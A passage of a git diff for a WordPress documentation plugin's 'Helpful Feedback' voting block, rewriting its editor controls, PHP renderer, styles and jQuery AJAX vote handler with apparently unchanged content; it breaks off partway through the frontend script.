label={__('Background Color', 'wedocs')} - onDeselect={() => setAttributes({ containerBgColor: '#ffffff' })} - > - setAttributes({ containerBgColor: value || '#ffffff' })} - /> - - - containerBgHoverColor !== '#f9f9f9'} - label={__('Background Hover Color', 'wedocs')} - onDeselect={() => setAttributes({ containerBgHoverColor: '#f9f9f9' })} - > - setAttributes({ containerBgHoverColor: value || '#f9f9f9' })} - /> - - - - setAttributes({ containerPadding: value })} - /> - - setAttributes({ containerMargin: value })} - /> - - setAttributes({ containerBorderStyle: value })} - /> - - {containerBorderStyle !== 'none' && ( - - setAttributes({ containerBorderColor: value || '#e0e0e0' })} - /> - - setAttributes({ containerBorderWidth: value })} - /> - - )} - - setAttributes({ containerBorderRadius: value })} - /> - - setAttributes({ containerBoxShadow: value })} - help={__('CSS box-shadow value', 'wedocs')} - /> - - - - setAttributes({ titleColor: value || '#333333' })} - /> - - setAttributes({ titleFontSize: value })} - help={__('e.g., 16px, 1.2em', 'wedocs')} - /> - - setAttributes({ titleFontWeight: value })} - /> - - setAttributes({ titleLineHeight: value })} - help={__('e.g., 1.4, 24px', 'wedocs')} - /> - - setAttributes({ titleLetterSpacing: value })} - help={__('e.g., 0px, 1px', 'wedocs')} - /> - - setAttributes({ titlePadding: value })} - /> - - setAttributes({ titleMargin: value })} - /> - - - -

    {__('Yes Button Colors', 'wedocs')}

    - setAttributes({ yesButtonColor: value || '#4CAF50' })} - /> - - setAttributes({ yesButtonHoverColor: value || '#45a049' })} - /> - - setAttributes({ yesButtonActiveColor: value || '#2e7d32' })} - /> - -

    {__('No Button Colors', 'wedocs')}

    - setAttributes({ noButtonColor: value || '#9e9e9e' })} - /> - - setAttributes({ noButtonHoverColor: value || '#757575' })} - /> - - setAttributes({ noButtonActiveColor: value || '#616161' })} - /> - -

    {__('Button Text Colors', 'wedocs')}

    - setAttributes({ buttonTextColor: value || '#ffffff' })} - /> - - setAttributes({ buttonTextHoverColor: value || '#ffffff' })} - /> - -

    {__('Icon Settings', 'wedocs')}

    - setAttributes({ iconWidth: value })} - /> - - setAttributes({ iconHeight: value })} - /> - - setAttributes({ iconColor: value || '#ffffff' })} - /> - - setAttributes({ iconHoverColor: value || '#ffffff' })} - /> - -

    {__('Button Borders', 'wedocs')}

    - setAttributes({ buttonBorderStyle: value })} - /> - - {buttonBorderStyle !== 'none' && ( - - setAttributes({ buttonBorderColor: value || 'transparent' })} - /> - - setAttributes({ buttonBorderHoverColor: value || 'transparent' })} - /> - - setAttributes({ buttonBorderWidth: value })} - /> - - )} - - setAttributes({ buttonBorderRadius: value })} - /> - - setAttributes({ buttonBoxShadow: value })} - /> -
    - - - setAttributes({ additionalCssClass: value })} - help={__('Separate multiple classes with spaces', 'wedocs')} - /> - -
    - -
    -
    -
    - {questionText} -
    - -
    - - - -
    - -
    - {__('Preview mode - voting disabled in editor', 'wedocs')} -
    -
    -
    -
    - ); -}; - +import { __ } from '@wordpress/i18n'; +import { thumbsUp, thumbsDown } from '@wordpress/icons'; +import { Fragment } from '@wordpress/element'; +import { useBlockProps, InspectorControls, RichText } from '@wordpress/block-editor'; +import { + PanelBody, + SelectControl, + ToggleControl, + TextControl, + __experimentalBoxControl as BoxControl, + ColorPalette, + RangeControl, + __experimentalBorderControl as BorderControl, + __experimentalToolsPanel as ToolsPanel, + __experimentalToolsPanelItem as ToolsPanelItem +} from '@wordpress/components'; +import RadioImageControl from '../CustomControls/RadioImageControl'; + +const Edit = ({ attributes, setAttributes }) => { + const blockProps = useBlockProps(); + + const { + questionText, + layout, + alignment, + showVoteCount, + allowAnonymous, + yesButtonText, + noButtonText, + thankYouMessage, + containerBgColor, + containerBgHoverColor, + containerPadding, + containerMargin, + containerBorderStyle, + containerBorderColor, + containerBorderWidth, + containerBorderRadius, + containerBoxShadow, + titleColor, + titleFontSize, + titleFontWeight, + titleLineHeight, + titleLetterSpacing, + titlePadding, + titleMargin, + yesButtonColor, + yesButtonHoverColor, + yesButtonActiveColor, + noButtonColor, + noButtonHoverColor, + noButtonActiveColor, + buttonTextColor, + buttonTextHoverColor, + iconWidth, + iconHeight, + iconColor, + iconHoverColor, + innerIconColor, + innerIconHoverColor, + buttonBorderStyle, + buttonBorderColor, + buttonBorderHoverColor, + buttonBorderWidth, + buttonBorderRadius, + buttonBoxShadow, + additionalCssClass, + dataAttributes + } = attributes; + + const layoutOptions = [ + { + label: __('Layout 1', 'wedocs'), + value: 'layout1', + svg: Question + }, + { + label: __('Layout 2', 'wedocs'), + value: 'layout2', + svg: Question + } + ]; + + const alignmentOptions = [ + { label: __('Left', 'wedocs'), value: 'left' }, + { label: __('Center', 'wedocs'), value: 'center' }, + { label: __('Right', 'wedocs'), value: 'right' } + ]; + + const borderStyles = [ + { label: __('None', 'wedocs'), value: 'none' }, + { label: __('Solid', 'wedocs'), value: 'solid' }, + { label: __('Dashed', 'wedocs'), value: 'dashed' }, + { label: __('Dotted', 'wedocs'), value: 'dotted' } + ]; + + const fontWeightOptions = [ + { label: __('Normal', 'wedocs'), value: '400' }, + { label: __('Medium', 'wedocs'), value: '500' }, + { label: __('Semi Bold', 'wedocs'), value: '600' }, + { label: __('Bold', 'wedocs'), value: '700' } + ]; + + const containerStyle = { + backgroundColor: containerBgColor, + padding: `${containerPadding.top} ${containerPadding.right} ${containerPadding.bottom} ${containerPadding.left}`, + margin: `${containerMargin.top} ${containerMargin.right} ${containerMargin.bottom} ${containerMargin.left}`, + border: containerBorderStyle !== 'none' ? `${containerBorderWidth.top} ${containerBorderStyle} ${containerBorderColor}` : 'none', + borderRadius: `${containerBorderRadius.top} ${containerBorderRadius.right} ${containerBorderRadius.bottom} ${containerBorderRadius.left}`, + boxShadow: containerBoxShadow, + textAlign: alignment, + transition: 'all 0.3s ease' + }; + + const titleStyle = { + color: titleColor, + fontSize: titleFontSize, + fontWeight: titleFontWeight, + lineHeight: titleLineHeight, + letterSpacing: titleLetterSpacing, + padding: `${titlePadding.top} ${titlePadding.right} ${titlePadding.bottom} ${titlePadding.left}`, + margin: `${titleMargin.top} ${titleMargin.right} ${titleMargin.bottom} ${titleMargin.left}` + }; + + const buttonBaseStyle = { + border: buttonBorderStyle !== 'none' ? `${buttonBorderWidth} ${buttonBorderStyle} ${buttonBorderColor}` : 'none', + borderRadius: buttonBorderRadius, + boxShadow: buttonBoxShadow, + color: buttonTextColor, + padding: '12px 24px', + margin: '0 8px', + cursor: 'pointer', + display: 'inline-flex', + alignItems: 'center', + gap: '8px', + transition: 'all 0.3s ease' + }; + + const yesButtonStyle = { + ...buttonBaseStyle, + backgroundColor: yesButtonColor + }; + + const noButtonStyle = { + ...buttonBaseStyle, + backgroundColor: noButtonColor + }; + + const iconStyle = { + width: iconWidth, + height: iconHeight, + color: iconColor + }; + + return ( + + + + setAttributes({ questionText: value })} + help={__('The question to ask users about the article', 'wedocs')} + /> + + setAttributes({ yesButtonText: value })} + /> + + setAttributes({ noButtonText: value })} + /> + + setAttributes({ thankYouMessage: value })} + help={__('Message shown after voting', 'wedocs')} + /> + + setAttributes({ showVoteCount: value })} + /> + + setAttributes({ allowAnonymous: value })} + help={__('Allow guests to vote without logging in', 'wedocs')} + /> + + + + + setAttributes({ layout: value })} + /> + + setAttributes({ alignment: value })} + /> + + + + + containerBgColor !== '#ffffff'} + label={__('Background Color', 'wedocs')} + onDeselect={() => setAttributes({ containerBgColor: '#ffffff' })} + > + setAttributes({ containerBgColor: value || '#ffffff' })} + /> + + + containerBgHoverColor !== '#f9f9f9'} + label={__('Background Hover Color', 'wedocs')} + onDeselect={() => setAttributes({ containerBgHoverColor: '#f9f9f9' })} + > + setAttributes({ containerBgHoverColor: value || '#f9f9f9' })} + /> + + + + setAttributes({ containerPadding: value })} + /> + + setAttributes({ containerMargin: value })} + /> + + setAttributes({ containerBorderStyle: value })} + /> + + {containerBorderStyle !== 'none' && ( + + setAttributes({ containerBorderColor: value || '#e0e0e0' })} + /> + + setAttributes({ containerBorderWidth: value })} + /> + + )} + + setAttributes({ containerBorderRadius: value })} + /> + + setAttributes({ containerBoxShadow: value })} + help={__('CSS box-shadow value', 'wedocs')} + /> + + + + setAttributes({ titleColor: value || '#333333' })} + /> + + setAttributes({ titleFontSize: value })} + help={__('e.g., 16px, 1.2em', 'wedocs')} + /> + + setAttributes({ titleFontWeight: value })} + /> + + setAttributes({ titleLineHeight: value })} + help={__('e.g., 1.4, 24px', 'wedocs')} + /> + + setAttributes({ titleLetterSpacing: value })} + help={__('e.g., 0px, 1px', 'wedocs')} + /> + + setAttributes({ titlePadding: value })} + /> + + setAttributes({ titleMargin: value })} + /> + + + +

    {__('Yes Button Colors', 'wedocs')}

    + setAttributes({ yesButtonColor: value || '#4CAF50' })} + /> + + setAttributes({ yesButtonHoverColor: value || '#45a049' })} + /> + + setAttributes({ yesButtonActiveColor: value || '#2e7d32' })} + /> + +

    {__('No Button Colors', 'wedocs')}

    + setAttributes({ noButtonColor: value || '#9e9e9e' })} + /> + + setAttributes({ noButtonHoverColor: value || '#757575' })} + /> + + setAttributes({ noButtonActiveColor: value || '#616161' })} + /> + +

    {__('Button Text Colors', 'wedocs')}

    + setAttributes({ buttonTextColor: value || '#ffffff' })} + /> + + setAttributes({ buttonTextHoverColor: value || '#ffffff' })} + /> + +

    {__('Icon Settings', 'wedocs')}

    + setAttributes({ iconWidth: value })} + /> + + setAttributes({ iconHeight: value })} + /> + + setAttributes({ iconColor: value || '#ffffff' })} + /> + + setAttributes({ iconHoverColor: value || '#ffffff' })} + /> + +

    {__('Button Borders', 'wedocs')}

    + setAttributes({ buttonBorderStyle: value })} + /> + + {buttonBorderStyle !== 'none' && ( + + setAttributes({ buttonBorderColor: value || 'transparent' })} + /> + + setAttributes({ buttonBorderHoverColor: value || 'transparent' })} + /> + + setAttributes({ buttonBorderWidth: value })} + /> + + )} + + setAttributes({ buttonBorderRadius: value })} + /> + + setAttributes({ buttonBoxShadow: value })} + /> +
    + + + setAttributes({ additionalCssClass: value })} + help={__('Separate multiple classes with spaces', 'wedocs')} + /> + +
    + +
    +
    +
    + {questionText} +
    + +
    + + + +
    + +
    + {__('Preview mode - voting disabled in editor', 'wedocs')} +
    +
    +
    +
    + ); +}; + export default Edit; \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/index.js b/src/blocks/HelpfulFeedback/index.js index 4f47100c..bc93b71c 100644 --- a/src/blocks/HelpfulFeedback/index.js +++ b/src/blocks/HelpfulFeedback/index.js @@ -1,17 +1,17 @@ -import { registerBlockType } from "@wordpress/blocks"; -import Edit from "./edit"; -import Save from "./save"; -import metadata from "./block.json"; -import "./style.scss"; - -registerBlockType(metadata.name, { - /** - * @see ./edit.js - */ - edit: Edit, - - /** - * @see ./save.js - */ - save: Save, +import { registerBlockType } from "@wordpress/blocks"; +import Edit from "./edit"; +import Save from "./save"; +import metadata from "./block.json"; +import "./style.scss"; + +registerBlockType(metadata.name, { + /** + * @see ./edit.js + */ + edit: Edit, + + /** + * @see ./save.js + */ + save: Save, }); \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/render.php b/src/blocks/HelpfulFeedback/render.php index 885a925d..61f7e7b8 100644 --- a/src/blocks/HelpfulFeedback/render.php +++ b/src/blocks/HelpfulFeedback/render.php @@ -1,407 +1,407 @@ - '1px', 'right' => '1px', 'bottom' => '1px', 'left' => '1px']; - $container_styles[] = sprintf( - 'border: %s %s %s', - esc_attr($border_width['top'] ?? '1px'), - esc_attr($attributes['containerBorderStyle']), - esc_attr($attributes['containerBorderColor'] ?? '#e0e0e0') - ); - } - if (!empty($attributes['containerBorderRadius'])) { - $radius = $attributes['containerBorderRadius']; - $container_styles[] = sprintf( - 'border-radius: %s %s %s %s', - esc_attr($radius['top'] ?? '8px'), - esc_attr($radius['right'] ?? '8px'), - esc_attr($radius['bottom'] ?? '8px'), - esc_attr($radius['left'] ?? '8px') - ); - } - if (!empty($attributes['containerBoxShadow'])) { - $container_styles[] = 'box-shadow: ' . esc_attr($attributes['containerBoxShadow']); - } - $container_styles[] = 'text-align: ' . esc_attr($alignment); - - // Build title styles - $title_styles = []; - if (!empty($attributes['titleColor'])) { - $title_styles[] = 'color: ' . esc_attr($attributes['titleColor']); - } - if (!empty($attributes['titleFontSize'])) { - $title_styles[] = 'font-size: ' . esc_attr($attributes['titleFontSize']); - } - if (!empty($attributes['titleFontWeight'])) { - $title_styles[] = 'font-weight: ' . esc_attr($attributes['titleFontWeight']); - } - if (!empty($attributes['titleLineHeight'])) { - $title_styles[] = 'line-height: ' . esc_attr($attributes['titleLineHeight']); - } - if (!empty($attributes['titleLetterSpacing'])) { - $title_styles[] = 'letter-spacing: ' . esc_attr($attributes['titleLetterSpacing']); - } - if (!empty($attributes['titlePadding'])) { - $padding = $attributes['titlePadding']; - $title_styles[] = sprintf( - 'padding: %s %s %s %s', - esc_attr($padding['top'] ?? '0px'), - esc_attr($padding['right'] ?? '0px'), - esc_attr($padding['bottom'] ?? '16px'), - esc_attr($padding['left'] ?? '0px') - ); - } - if (!empty($attributes['titleMargin'])) { - $margin = $attributes['titleMargin']; - $title_styles[] = sprintf( - 'margin: %s %s %s %s', - esc_attr($margin['top'] ?? '0px'), - esc_attr($margin['right'] ?? '0px'), - esc_attr($margin['bottom'] ?? '0px'), - esc_attr($margin['left'] ?? '0px') - ); - } - - // CSS classes - $css_classes = [ - 'wedocs-helpful-feedback', - esc_attr($layout), - esc_attr($alignment), - ]; - - if ($has_voted) { - $css_classes[] = 'has-voted'; - $css_classes[] = 'voted-' . esc_attr($voted_option); - } - - if (!empty($additional_css_class)) { - $css_classes[] = esc_attr($additional_css_class); - } - - // Data attributes - $data_attributes = []; - $data_attributes['data-post-id'] = $post_id; - $data_attributes['data-allow-anonymous'] = $allow_anonymous ? '1' : '0'; - $data_attributes['data-thank-you-message'] = esc_attr($thank_you_message); - - if (!empty($attributes['dataAttributes']) && is_array($attributes['dataAttributes'])) { - foreach ($attributes['dataAttributes'] as $key => $value) { - if (!empty($key) && !empty($value)) { - $data_attributes['data-' . esc_attr($key)] = esc_attr($value); - } - } - } - - // Build data attributes string - $data_attrs_string = ''; - foreach ($data_attributes as $key => $value) { - $data_attrs_string .= ' ' . $key . '="' . $value . '"'; - } - - // Enqueue frontend script and styles - wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) . '/assets/js/helpful-feedback.js', ['jquery'], WEDOCS_VERSION, true); - wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ - 'ajax_url' => admin_url('admin-ajax.php'), - 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') - ]); - - // Generate unique block ID - $block_id = 'wedocs-helpful-feedback-' . $post_id . '-' . wp_rand(1000, 9999); - ?> - -
    - > - -
    - -
    - -
    - - - -
    - -
    -
    - -
    - -
    -
    - - - - - - - - - - - - - - - -
    - - -
    - - - -
    - -
    -
    - -
    - - - - '1px', 'right' => '1px', 'bottom' => '1px', 'left' => '1px']; + $container_styles[] = sprintf( + 'border: %s %s %s', + esc_attr($border_width['top'] ?? '1px'), + esc_attr($attributes['containerBorderStyle']), + esc_attr($attributes['containerBorderColor'] ?? '#e0e0e0') + ); + } + if (!empty($attributes['containerBorderRadius'])) { + $radius = $attributes['containerBorderRadius']; + $container_styles[] = sprintf( + 'border-radius: %s %s %s %s', + esc_attr($radius['top'] ?? '8px'), + esc_attr($radius['right'] ?? '8px'), + esc_attr($radius['bottom'] ?? '8px'), + esc_attr($radius['left'] ?? '8px') + ); + } + if (!empty($attributes['containerBoxShadow'])) { + $container_styles[] = 'box-shadow: ' . esc_attr($attributes['containerBoxShadow']); + } + $container_styles[] = 'text-align: ' . esc_attr($alignment); + + // Build title styles + $title_styles = []; + if (!empty($attributes['titleColor'])) { + $title_styles[] = 'color: ' . esc_attr($attributes['titleColor']); + } + if (!empty($attributes['titleFontSize'])) { + $title_styles[] = 'font-size: ' . esc_attr($attributes['titleFontSize']); + } + if (!empty($attributes['titleFontWeight'])) { + $title_styles[] = 'font-weight: ' . esc_attr($attributes['titleFontWeight']); + } + if (!empty($attributes['titleLineHeight'])) { + $title_styles[] = 'line-height: ' . esc_attr($attributes['titleLineHeight']); + } + if (!empty($attributes['titleLetterSpacing'])) { + $title_styles[] = 'letter-spacing: ' . esc_attr($attributes['titleLetterSpacing']); + } + if (!empty($attributes['titlePadding'])) { + $padding = $attributes['titlePadding']; + $title_styles[] = sprintf( + 'padding: %s %s %s %s', + esc_attr($padding['top'] ?? '0px'), + esc_attr($padding['right'] ?? '0px'), + esc_attr($padding['bottom'] ?? '16px'), + esc_attr($padding['left'] ?? '0px') + ); + } + if (!empty($attributes['titleMargin'])) { + $margin = $attributes['titleMargin']; + $title_styles[] = sprintf( + 'margin: %s %s %s %s', + esc_attr($margin['top'] ?? '0px'), + esc_attr($margin['right'] ?? '0px'), + esc_attr($margin['bottom'] ?? '0px'), + esc_attr($margin['left'] ?? '0px') + ); + } + + // CSS classes + $css_classes = [ + 'wedocs-helpful-feedback', + esc_attr($layout), + esc_attr($alignment), + ]; + + if ($has_voted) { + $css_classes[] = 'has-voted'; + $css_classes[] = 'voted-' . esc_attr($voted_option); + } + + if (!empty($additional_css_class)) { + $css_classes[] = esc_attr($additional_css_class); + } + + // Data attributes + $data_attributes = []; + $data_attributes['data-post-id'] = $post_id; + $data_attributes['data-allow-anonymous'] = $allow_anonymous ? '1' : '0'; + $data_attributes['data-thank-you-message'] = esc_attr($thank_you_message); + + if (!empty($attributes['dataAttributes']) && is_array($attributes['dataAttributes'])) { + foreach ($attributes['dataAttributes'] as $key => $value) { + if (!empty($key) && !empty($value)) { + $data_attributes['data-' . esc_attr($key)] = esc_attr($value); + } + } + } + + // Build data attributes string + $data_attrs_string = ''; + foreach ($data_attributes as $key => $value) { + $data_attrs_string .= ' ' . $key . '="' . $value . '"'; + } + + // Enqueue frontend script and styles + wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) . '/assets/js/helpful-feedback.js', ['jquery'], WEDOCS_VERSION, true); + wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ + 'ajax_url' => admin_url('admin-ajax.php'), + 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') + ]); + + // Generate unique block ID + $block_id = 'wedocs-helpful-feedback-' . $post_id . '-' . wp_rand(1000, 9999); + ?> + +
    + > + +
    + +
    + +
    + + + +
    + +
    +
    + +
    + +
    +
    + + + + + + + + + + + + + + + +
    + + +
    + + + +
    + +
    +
    + +
    + + + + { - return null; -}; - +import { useBlockProps } from '@wordpress/block-editor'; + +const Save = () => { + return null; +}; + export default Save; \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/style.scss b/src/blocks/HelpfulFeedback/style.scss index c1959d56..d7770b87 100644 --- a/src/blocks/HelpfulFeedback/style.scss +++ b/src/blocks/HelpfulFeedback/style.scss @@ -1,294 +1,294 @@ -/** - * Helpful Feedback Block Styles - * Frontend and Editor styles for the Helpful Feedback block - */ - -.wedocs-helpful-feedback { - position: relative; - max-width: 100%; - box-sizing: border-box; - font-family: inherit; - - * { - box-sizing: border-box; - } - - .wedocs-feedback-title { - margin: 0; - font-weight: 600; - line-height: 1.4; - } - - .wedocs-feedback-buttons { - display: flex; - flex-wrap: wrap; - gap: 16px; - margin-top: 16px; - justify-content: center; - - .wedocs-feedback-button { - border: none; - background: none; - font-family: inherit; - font-size: 14px; - line-height: 1; - text-decoration: none; - outline: none; - position: relative; - min-height: 44px; // Accessibility - minimum touch target - min-width: 44px; - - &:focus { - outline: 2px solid #0073aa; - outline-offset: 2px; - } - - &:disabled { - opacity: 0.7; - cursor: not-allowed; - } - - .wedocs-feedback-icon { - display: inline-flex; - align-items: center; - justify-content: center; - flex-shrink: 0; - - svg { - display: block; - } - } - - .vote-count { - font-size: 0.9em; - opacity: 0.8; - } - } - } - - .wedocs-feedback-thank-you { - text-align: center; - - .wedocs-feedback-title { - color: #28a745; - margin-bottom: 16px; - } - - .wedocs-feedback-result { - .wedocs-feedback-voted-option { - font-weight: 500; - margin-bottom: 8px; - - .wedocs-feedback-icon { - display: inline-flex; - align-items: center; - margin-right: 8px; - } - } - - .wedocs-feedback-vote-summary { - .vote-separator { - margin: 0 8px; - opacity: 0.6; - } - } - } - } - - .wedocs-feedback-preview-note { - text-align: center; - font-style: italic; - color: #666; - border-top: 1px solid #eee; - padding-top: 10px; - } - - // Alignment variations - &.left { - .wedocs-feedback-buttons { - justify-content: flex-start; - } - } - - &.center { - .wedocs-feedback-buttons { - justify-content: center; - } - } - - &.right { - .wedocs-feedback-buttons { - justify-content: flex-end; - } - } - - // Layout 1: Standard rectangular buttons - &.layout1 { - .wedocs-feedback-button { - padding: 12px 24px; - border-radius: 6px; - display: inline-flex; - align-items: center; - gap: 8px; - flex-direction: row; - } - } - - // Layout 2: Circular buttons with text below - &.layout2 { - .wedocs-feedback-buttons { - flex-direction: column; - align-items: center; - gap: 32px; - - .wedocs-feedback-button { - flex-direction: column; - width: 80px; - height: 80px; - border-radius: 50%; - padding: 0; - gap: 8px; - position: relative; - - .vote-count { - position: absolute; - bottom: -28px; - left: 50%; - transform: translateX(-50%); - white-space: nowrap; - font-size: 12px; - } - } - } - - // For horizontal layout in layout2 - @media (min-width: 480px) { - .wedocs-feedback-buttons { - flex-direction: row; - justify-content: center; - gap: 48px; - } - } - } - - // Responsive design - @media (max-width: 480px) { - .wedocs-feedback-buttons { - flex-direction: column; - align-items: center; - gap: 12px; - - .wedocs-feedback-button { - width: 100%; - max-width: 200px; - justify-content: center; - } - } - - &.layout2 .wedocs-feedback-buttons { - .wedocs-feedback-button { - width: 60px; - height: 60px; - } - } - } - - // Loading state - &.loading { - .wedocs-feedback-button { - opacity: 0.6; - cursor: wait; - pointer-events: none; - } - } - - // Voted state - &.has-voted { - .wedocs-feedback-buttons { - display: none; - } - } - - // Animation for feedback transitions - .wedocs-feedback-thank-you, - .wedocs-feedback-buttons { - animation: fadeIn 0.3s ease-in-out; - } - - @keyframes fadeIn { - from { - opacity: 0; - transform: translateY(10px); - } - to { - opacity: 1; - transform: translateY(0); - } - } -} - -// Editor specific styles -.wp-block-wedocs-helpful-feedback { - .wedocs-helpful-feedback { - border: 1px dashed #ccc; - position: relative; - - &::after { - content: 'Helpful Feedback Block'; - position: absolute; - top: -1px; - left: -1px; - background: #0073aa; - color: white; - padding: 2px 8px; - font-size: 11px; - line-height: 1; - font-weight: 500; - z-index: 1; - } - } -} - -// High contrast mode support -@media (prefers-contrast: high) { - .wedocs-helpful-feedback { - .wedocs-feedback-button { - border: 2px solid currentColor !important; - } - } -} - -// Reduced motion support -@media (prefers-reduced-motion: reduce) { - .wedocs-helpful-feedback { - .wedocs-feedback-button, - .wedocs-feedback-thank-you, - .wedocs-feedback-buttons { - animation: none !important; - transition: none !important; - } - } -} - -// Print styles -@media print { - .wedocs-helpful-feedback { - .wedocs-feedback-buttons { - display: none !important; - } - - .wedocs-feedback-thank-you { - .wedocs-feedback-vote-summary { - display: inline !important; - - &::before { - content: " ("; - } - - &::after { - content: ")"; - } - } - } - } +/** + * Helpful Feedback Block Styles + * Frontend and Editor styles for the Helpful Feedback block + */ + +.wedocs-helpful-feedback { + position: relative; + max-width: 100%; + box-sizing: border-box; + font-family: inherit; + + * { + box-sizing: border-box; + } + + .wedocs-feedback-title { + margin: 0; + font-weight: 600; + line-height: 1.4; + } + + .wedocs-feedback-buttons { + display: flex; + flex-wrap: wrap; + gap: 16px; + margin-top: 16px; + justify-content: center; + + .wedocs-feedback-button { + border: none; + background: none; + font-family: inherit; + font-size: 14px; + line-height: 1; + text-decoration: none; + outline: none; + position: relative; + min-height: 44px; // Accessibility - minimum touch target + min-width: 44px; + + &:focus { + outline: 2px solid #0073aa; + outline-offset: 2px; + } + + &:disabled { + opacity: 0.7; + cursor: not-allowed; + } + + .wedocs-feedback-icon { + display: inline-flex; + align-items: center; + justify-content: center; + flex-shrink: 0; + + svg { + display: block; + } + } + + .vote-count { + font-size: 0.9em; + opacity: 0.8; + } + } + } + + .wedocs-feedback-thank-you { + text-align: center; + + .wedocs-feedback-title { + color: #28a745; + margin-bottom: 16px; + } + + .wedocs-feedback-result { + .wedocs-feedback-voted-option { + font-weight: 500; + margin-bottom: 8px; + + .wedocs-feedback-icon { + display: inline-flex; + align-items: center; + margin-right: 8px; + } + } + + .wedocs-feedback-vote-summary { + .vote-separator { + margin: 0 8px; + opacity: 0.6; + } + } + } + } + + .wedocs-feedback-preview-note { + text-align: center; + font-style: italic; + color: #666; + border-top: 1px solid #eee; + padding-top: 10px; + } + + // Alignment variations + &.left { + .wedocs-feedback-buttons { + justify-content: flex-start; + } + } + + &.center { + .wedocs-feedback-buttons { + justify-content: center; + } + } + + &.right { + .wedocs-feedback-buttons { + justify-content: flex-end; + } + } + + // Layout 1: Standard rectangular buttons + &.layout1 { + .wedocs-feedback-button { + padding: 12px 24px; + border-radius: 6px; + display: inline-flex; + align-items: center; + gap: 8px; + flex-direction: row; + } + } + + // Layout 2: Circular buttons with text below + &.layout2 { + .wedocs-feedback-buttons { + flex-direction: column; + align-items: center; + gap: 32px; + + .wedocs-feedback-button { + flex-direction: column; + width: 80px; + height: 80px; + border-radius: 50%; + padding: 0; + gap: 8px; + position: relative; + + .vote-count { + position: absolute; + bottom: -28px; + left: 50%; + transform: translateX(-50%); + white-space: nowrap; + font-size: 12px; + } + } + } + + // For horizontal layout in layout2 + @media (min-width: 480px) { + .wedocs-feedback-buttons { + flex-direction: row; + justify-content: center; + gap: 48px; + } + } + } + + // Responsive design + @media (max-width: 480px) { + .wedocs-feedback-buttons { + flex-direction: column; + align-items: center; + gap: 12px; + + .wedocs-feedback-button { + width: 100%; + max-width: 200px; + justify-content: center; + } + } + + &.layout2 .wedocs-feedback-buttons { + .wedocs-feedback-button { + width: 60px; + height: 60px; + } + } + } + + // Loading state + &.loading { + .wedocs-feedback-button { + opacity: 0.6; + cursor: wait; + pointer-events: none; + } + } + + // Voted state + &.has-voted { + .wedocs-feedback-buttons { + display: none; + } + } + + // Animation for feedback transitions + .wedocs-feedback-thank-you, + .wedocs-feedback-buttons { + animation: fadeIn 0.3s ease-in-out; + } + + @keyframes fadeIn { + from { + opacity: 0; + transform: translateY(10px); + } + to { + opacity: 1; + transform: translateY(0); + } + } +} + +// Editor specific styles +.wp-block-wedocs-helpful-feedback { + .wedocs-helpful-feedback { + border: 1px dashed #ccc; + position: relative; + + &::after { + content: 'Helpful Feedback Block'; + position: absolute; + top: -1px; + left: -1px; + background: #0073aa; + color: white; + padding: 2px 8px; + font-size: 11px; + line-height: 1; + font-weight: 500; + z-index: 1; + } + } +} + +// High contrast mode support +@media (prefers-contrast: high) { + .wedocs-helpful-feedback { + .wedocs-feedback-button { + border: 2px solid currentColor !important; + } + } +} + +// Reduced motion support +@media (prefers-reduced-motion: reduce) { + .wedocs-helpful-feedback { + .wedocs-feedback-button, + .wedocs-feedback-thank-you, + .wedocs-feedback-buttons { + animation: none !important; + transition: none !important; + } + } +} + +// Print styles +@media print { + .wedocs-helpful-feedback { + .wedocs-feedback-buttons { + display: none !important; + } + + .wedocs-feedback-thank-you { + .wedocs-feedback-vote-summary { + display: inline !important; + + &::before { + content: " ("; + } + + &::after { + content: ")"; + } + } + } + } } \ No newline at end of file diff --git a/src/blocks/HelpfulFeedback/view.js b/src/blocks/HelpfulFeedback/view.js index dad4c589..b31bd1ff 100644 --- a/src/blocks/HelpfulFeedback/view.js +++ b/src/blocks/HelpfulFeedback/view.js @@ -1,206 +1,206 @@ -/** - * Helpful Feedback Frontend JavaScript - * Handles AJAX voting functionality - */ - -(function($) { - 'use strict'; - - class WedocsHelpfulFeedback { - constructor() { - this.init(); - } - - init() { - this.bindEvents(); - } - - bindEvents() { - $(document).on('click', '.wedocs-feedback-button', this.handleVote.bind(this)); - } - - handleVote(e) { - e.preventDefault(); - - const $button = $(e.currentTarget); - const $container = $button.closest('.wedocs-helpful-feedback'); - const vote = $button.data('vote'); - const postId = $container.data('post-id'); - const allowAnonymous = $container.data('allow-anonymous'); - const thankYouMessage = $container.data('thank-you-message'); - - // Check if already voting - if ($container.hasClass('loading')) { - return; - } - - // Validate required data - if (!vote || !postId) { - this.showError($container, 'Invalid voting data'); - return; - } - - // Show loading state - this.setLoadingState($container, true); - - // Prepare AJAX data - const ajaxData = { - action: 'wedocs_helpful_feedback_vote', - post_id: postId, - vote: vote, - allow_anonymous: allowAnonymous, - nonce: wedocsHelpfulFeedback.nonce - }; - - // Send AJAX request - $.ajax({ - url: wedocsHelpfulFeedback.ajax_url, - type: 'POST', - data: ajaxData, - dataType: 'json', - success: (response) => { - this.handleVoteSuccess(response, $container, vote, thankYouMessage); - }, - error: (xhr, status, error) => { - this.handleVoteError(xhr, $container); - }, - complete: () => { - this.setLoadingState($container, false); - } - }); - } - - handleVoteSuccess(response, $container, vote, thankYouMessage) { - if (response.success) { - // Update vote counts - this.updateVoteCounts($container, response.data.yes_votes, response.data.no_votes); - - // Show thank you message - this.showThankYou($container, vote, thankYouMessage, response.data); - - // Mark as voted - $container.addClass('has-voted voted-' + vote); - - // Fire custom event - $(document).trigger('wedocs:feedback:voted', { - container: $container, - vote: vote, - data: response.data - }); - } else { - this.showError($container, response.data.message || 'Voting failed'); - } - } - - handleVoteError(xhr, $container) { - let errorMessage = 'An error occurred while voting'; - - if (xhr.responseJSON && xhr.responseJSON.data && xhr.responseJSON.data.message) { - errorMessage = xhr.responseJSON.data.message; - } else if (xhr.status === 403) { - errorMessage = 'You are not authorized to vote'; - } else if (xhr.status === 429) { - errorMessage = 'Too many requests. Please try again later'; - } - - this.showError($container, errorMessage); - } - - updateVoteCounts($container, 